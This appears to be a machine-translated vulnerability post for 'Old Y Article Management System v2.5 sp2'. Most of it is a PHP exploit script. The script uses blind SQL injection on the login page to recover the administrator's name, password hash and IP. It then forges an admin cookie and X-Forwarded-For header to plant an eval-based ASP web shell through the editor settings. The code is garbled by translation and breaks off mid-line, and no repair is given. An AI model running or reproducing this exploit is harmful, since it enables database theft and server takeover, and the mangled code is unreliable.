Old Y Article Management System v2.5 sp2 SQL Injection & amp; Cookies Spoofing Vulnerability and repair

Brief description:
The/user/UserLogin. asp file of the old Y Document Management System v2.5 sp2 has an SQL injection vulnerability, which allows malicious users to obtain any data in the database through the vulnerability. In addition, the background login is not handled properly, resulting in spoofing the management account password and administrator IP address to fool the background login.

Proof of vulnerability:
Vulnerability test exp:

<? Php
Ini_set ("max_execution_time", 0 );
Error_reporting (7 );
Function usage ()
{
Global $ argv;
Exit (
"-- ++ ============================================ ============================================+++ --".
"-- ++ =". Base64_decode ("encoding ="). "= ++ --".
"-- ++ ============================================ ============================================+++ --".
"[+] Author: My5t3ry ".
"[+] Team: http://www.t00ls.net ".
"[+] Blog: http://www.bksec.net ".
"[+] Usage: php". $ argv [0]. ""[+] Ex.: php". $ argv [0]. "localhost /".
"");
}

Function query ($ pos, $ chr, $ chs)
{
Switch ($ chs ){
Case 1:
$ Query = "admin or 1 = 1 and (select asc (mid (Admin_Name, {$ pos}, 1) from [Yao_Admin] where id = 1) = {$ chr} and 1 = 1 ";
Break;
Case 2:
$ Query = "admin or 1 = 1 and (select asc (mid (Admin_Pass, {$ pos}, 1) from [Yao_Admin] where id = 1) = {$ chr} and 1 = 1 ";
Break;
Case 3:
$ Query = "admin or 1 = 1 and (select len (Admin_Name) from [Yao_Admin] where id = 1) = {$ pos} and 1 = 1 ";
Break;
Case 4:
$ Query = "admin or 1 = 1 and (select asc (mid (Admin_IP, {$ pos}, 1) from [Yao_Admin] where id = 1) = {$ chr} and 1 = 1 ";
Break;
Case 5:
$ Query = "admin or 1 = 1 and (select len (Admin_IP) from [Yao_Admin] where id = 1) = {$ pos} and 1 = 1 ";
Break;
}
$ Query = urlencode ($ query );
Return $ query;
}

Function exploit ($ hostname, $ path, $ pos, $ chr, $ chs)
{
$ Chr = ord ($ chr );
$ Conn = fsockopen ($ hostname, 80 );
If (! $ Conn ){
Exit ("[-] No response from $ conn ");
}

$ Postdata = "Username =". query ($ pos, $ chr, $ chs). "& PassWord = aaaaaa & Submit = % B5 % C7 % C2 % BC ";
$ Message = "POST". $ path. "User/Userlogin. asp? Action = login HTTP/1.1 ";
$ Message. = "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash ,*/*";
$ Message. = "Accept-Language: zh-cn ";
$ Message. = "Content-Type: application/x-www-form-urlencoded ";
$ Message. = "Accept-Encoding: gzip, deflate ";
$ Message. = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1 )";
$ Message. = "Host: $ hostname ";
$ Message. = "Content-Length:". strlen ($ postdata )."";
$ Message. = "Cookie: ASPSESSIONIDSSCTBRDD = ILJJFNOABJJHHDMPDBAEJIGC ";
$ Message. = "Connection: Close ";
$ Message. = $ postdata;

Fputs ($ conn, $ message );
While (! Feof ($ conn ))
$ Reply. = fgets ($ conn, 1024 );

Fclose ($ conn );
Return $ reply;
}

Function crkusername ($ hostname, $ path, $ chs)
{
Global $ length, $ user;
$ Key = "abcdefghijklmnopqrstuvwxyz0123456789 ";
$ Chr = 0;
$ Pos = 1;
Echo "[+] username :";
While ($ pos <= $ length)
{
$ Response = exploit ($ hostname, $ path, $ pos, $ key [$ chr], $ chs );
Preg_match (/Set-Cookie: s ([A-Za-z] {3}) = ID =/, $ response, $ match );

If (strlen (trim ($ match [1])! = 0)
{
$ User. = $ key [$ chr];
Echo $ key [$ chr];
$ Chr = 0;
$ Pos ++;
}
Else
$ Chr ++;
}
Echo "";
}

Function crkpassword ($ hostname, $ path, $ chs)
{
Global $ pass;
$ Key = "abcdef0123456789 ";
$ Chr = 0;
$ Pos = 1;
Echo "[+] password :";
While ($ pos <= 18)
{
$ Response = exploit ($ hostname, $ path, $ pos, $ key [$ chr], $ chs );
Preg_match (/Set-Cookie: s ([A-Za-z] {3}) = ID =/, $ response, $ match );

If (strlen (trim ($ match [1])! = 0)
{
$ Pass. = $ key [$ chr];
Echo $ key [$ chr];
$ Chr = 0;
$ Pos ++;
}
Else
$ Chr ++;
}
Echo "";
}

Function lengthcolumns ($ hostname, $ path, $ chs)
{
$ Exit = 0;
$ Length = 0;
$ Pos = 1;
$ Chr = 0;
While ($ exit = 0)
{
$ Response = exploit ($ hostname, $ path, $ pos, $ chr, $ chs );
Preg_match (/Set-Cookie: s ([A-Za-z] {3}) = ID =/, $ response, $ match );

If (strlen (trim ($ match [1])! = 0)
{
$ Exit = 1;
$ Length = $ pos;
}
Else
$ Pos ++;
If ($ pos = 20)
Exit ("[+] Exploit Failed .");
}
Return $ length;
}

Function crkadminip ($ hostname, $ path, $ chs)
{
Global $ iplength, $ adminip;
$ Key = "1234567890 .";
$ Chr = 0;
$ Pos = 1;
Echo "[+] adminip :";
While ($ pos <= $ iplength)
{
$ Response = exploit ($ hostname, $ path, $ pos, $ key [$ chr], $ chs );
Preg_match (/Set-Cookie: s ([A-Za-z] {3}) = ID =/, $ response, $ match );

If (strlen (trim ($ match [1])! = 0)
{
$ Adminip. = $ key [$ chr];
Echo $ key [$ chr];
$ Chr = 0;
$ Pos ++;
}
Else
$ Chr ++;
}
Echo "";
}

Function getshell ($ hostname, $ path, $ user, $ pass, $ adminip)
{
$ Conn = fsockopen ($ hostname, 80 );

If (! $ Conn ){
Exit ("[-] No response from $ conn ");
}

$ Postdata = "d_name = user & d_initmode = EDIT & d_fixwidth = & d_skin = light1 & d_width = 500 & d_height = 300 & d_stateflag =

1 & d_sbedit =

1 & d_sbview = 1 & d_detectfromword = 1 & d_autoremote = 0 & d_showborder = 0 & d_entermode =

1 & d_areacssmode = 0 & d_memo = 500px % BF % ED % B6 % C8 % BD % E7 % C3 % E6 % CF % C2 % B5 % C4 % D7 % EE % BC % f2 % B9 % A4 % BE % DF % C0 % B8 % B0 % B4 % C5 % A5 % 2C % CA % BA % CF % D3 % DA % D3 % CA % BC % FE % CF % B5 % CD % B3 % C1 % F4 % D1 % D4 % CF % B5 % CD % B3 % B5 % C8 % D6 % BB % D0 % E8 % d7 % EE % BC % F2 % B5 % A5 % B9 % A6 % C4 % DC % B5 % C4 % D3 % A6 % D3 % C3 & d_uploadobject = 0 & d_autodir = 2 & d_allowbrowse = 0 & d_cusdirflag = 0 & d_baseurl = 1 & d_uploaddir = .. % 2 FPreviousFiles % 2F & d_basehref = & d_contentpath = & d_imageext = gif % 7 Cjpg % 7 Cjpeg % 7 Cbmp % 7C % 22% 3 Aeval % 28 request % 28% 22my % 22% 29% 29% 27 & d_imagesize = 0 & d_flashext = swf & d_flashsize = 0 & d_mediaext = rm % 7Cmp3% 7 Cwav % 7 Cmid % 7 Cmidi % 7Cra % 7 Cavi % 7 Cmpg % 7 Cmpeg % 7 Casf % 7 Casx % 7 Cwma % 7 Cmov & d_mediasize = 0 & d_fileext = rar % 7 Czip % 7 Cpdf % 7 Cdoc % 7 Cxls % 7 Cppt % 7 Cchm % 7 Chlp & d_filesize = 0 & d_remoteext = gif % 7 Cjpg % 7 Cbmp & d_remotesize = 0 & d_localext = gif % 7 Cjpg % 7 Cbmp % 7 Cwmz % 7 Cpng & d_localsize = 0 & d_sltsyobject = 0 & d_sltsyext = jpg % 7 Cjpeg & d_sltflag = 0 & d_sltminsize = 300 & d_sltoksize = 120 & d_sywzflag = 0 & d_sywzminwidth =

100 & d_sywzminheight = 100 & d_sytext = % B0 % E6 % C8 % A8 % CB % F9 % D3 % d0... & d_syfontcolor = 000000 & d_syshadowcolor = FFFFFF & d_syshadowoffset = 1 & d_syfontsize =

12 & d_syfontname = % CB % CE % CC % E5 & d_sywzposition = 1 & d_sywzpaddingh = 5 & d_sywzpaddingv = 5 & d_sywztextwidth = 66 & d_sywztextheight =

17 & d_sytpflag =

0 & d_sytpminwidth = 100 & d_sytpminheight = 100 & d_sytpposition = 1 & d_sytppaddingh = 5 & d_sytppaddingv =

5 & d_sypicpath =

& D_sytpopacity = 1 & d_sytpimagewidth = 88 & d_sytpimageheight = 31 ";

$ Message = "POST". $ path. "Admin/EditorAdmin/style. asp? Action = StyleSetSave & id = 1 HTTP/1.1 ";
$ Message. = "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash ,*/*";
$ Message. = "Accept-Language: zh-cn ";
$ Message. = "Content-Type: application/x-www-form-urlencoded ";
$ Message. = "Accept-Encoding: gzip, deflate ";
$ Message. = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1 )";
$ Message. = "Host: $ hostname ";
$ Message. = "X-FORWARDED-FOR:". $ adminip ."";
$ Message. = "Cookie: ASPSESSIONIDCADSSCQQ = OKLJGOECENDGHDLAKKIKBCAB; LaoYAdmin = UserName =". $ user. "& UserPass =". $ pass. "& UserID = 1 ";
$ Message. = "Content-Length:". strlen ($ postdata )."";
$ Message. = "Connection: Close ";
$ Message. = $ postdata;

Fputs ($ conn, $ message );
While (! Feof ($ conn ))
$ Reply. = fgets ($ conn, 1024 );

Fclose ($ conn );
Return $ reply;
}

If ($ argc! = 3)
Usage ();
$ Hostname = $ argv [1];
$ Path = $ argv [2];
Echo "[+] Len (username ):";
$ Length = lengthcolumns ($ hostname, $ path, 3 );
Echo $ length